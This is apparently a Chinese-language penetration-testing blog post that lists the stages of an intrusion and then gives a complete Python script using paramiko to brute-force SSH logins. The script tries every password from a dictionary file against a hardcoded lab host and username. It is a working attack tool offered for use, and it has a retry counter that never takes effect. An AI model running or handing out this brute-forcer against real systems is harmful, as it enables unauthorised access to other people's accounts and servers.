本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
SSH 爆破
pip install paramiko
V1.0
#! /usr/bin/env python
'''
SSH 爆破
'''
import socket
import paramiko
import time
hostname = '192.168.225.128'
username = 'kali'
# password = ''
passwords = open('password_dict.txt').read().split('\n')
def connect_ssh(password):
n_retry = 3 # 重试次数
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh_client.connect(hostname=hostname, password=password, username=username, timeout=5)
except socket.timeout:
print('[-] Time Out')
return False
except paramiko.AuthenticationException:
print('[-] The username and password do not match')
return False
except paramiko.SSHException:
if n_retry <= 0:
print('[-] Exception. Faild')
return False
print('[-] Exception. try again after 10s')
time.sleep(10)
n_retry = n_retry - 1
return connect_ssh(password)
else:
print('[+] Login successful. password: %s' % password)
return True
for password in passwords:
if connect_ssh(password):
break